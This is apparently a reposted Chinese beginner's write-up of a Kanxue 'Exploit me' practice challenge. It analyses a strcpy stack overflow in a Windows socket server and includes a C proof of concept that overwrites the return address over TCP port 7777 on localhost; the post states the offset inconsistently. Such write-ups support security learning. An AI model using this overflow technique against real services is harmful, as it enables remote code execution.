一个简单的远程溢出漏洞分析
Posted Ox9A82
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一个简单的远程溢出漏洞分析相关的知识,希望对你有一定的参考价值。
人生第一个漏洞分析,好激动。
因为从来没有接触过漏洞分析方面,以前也只是看过一点书,所以一直想找个东西练练手,结果翻到了看雪Exploit me的题目,本来以为会很难,结果还是很基础的,适合我这样的新手练手。
http://bbs.pediy.com/showthread.php?t=56998
进入正题
首先拿到了一个Windows程序,拖到IDA里打算看一下,结果发现程序逻辑出乎意料的简单。就是一个很常规的SOCKET流程带有一些错误处理。
下面详细说明。
mov ebp,eax
test ebp,ebp
很明显是对socket函数进行错误处理
同样是错误处理,判断accept函数是否执行成功
这里就是关键了,因为下面就结束连接了,问题肯定出在这里
跟进这个call
发现这里有复制的行为,F5看一下,原来是个strcpy
同时发现个好玩的地方,这个函数没有建立栈帧,这个函数的确是call进来的不是jmp进来的。
然而却没有栈帧。是通过对esp操作来开辟栈空间和指明返回地址的。
那么这里就可以猜到0xC8就是局部变量距离返回地址的大小。
接下来用OD进行调试。
在RET上下断点,可以得到这样。
分析栈可知,确实是我们上面猜的那样,就是0x8C的大小。
写了一个简单的socket用来发送shellcode
1 // EXP.cpp : 定义控制台应用程序的入口点。 2 // 3 4 #include <winsock2.h> 5 #include "stdafx.h" 6 #include "windows.h" 7 #pragma comment(lib, "Ws2_32.lib ") 8 char shellcode[] = 9 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 11 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 12 "AAAAAAAAAAAAAAAAAAAAAA\xCC\xDD\xEE\xFF"; 13 int main() 14 { 15 SOCKET MySocket; 16 WSADATA OUTDATA; 17 WSAStartup(MAKEWORD(2, 2), &OUTDATA); 18 MySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 19 sockaddr_in SocketInfo; 20 SocketInfo.sin_family = AF_INET; 21 SocketInfo.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); 22 SocketInfo.sin_port = htons(7777);//7777端口通过对目标的bind的函数分析可以得出 23 if (connect(MySocket,(sockaddr *)&SocketInfo,sizeof(SocketInfo)) 24 ==SOCKET_ERROR) 25 { 26 MessageBox(NULL, L"error", L"error", 0); 27 } 28 send(MySocket, shellcode, sizeof(shellcode), 0); 29 return 0; 30 }
结果如下
返回地址被成功覆盖!
本来应该写出shellcode的但是因为不会写。。所以,以后再补全吧,待我再研究研究。
漏洞到这里就已经分析清楚了,就是一个简单的strcpy导致的远程溢出漏洞。
以上是关于一个简单的远程溢出漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章
Microsoft Windows OpenType Font (OTF)驱动程序栈溢出远程代码执行漏洞(MS11-032)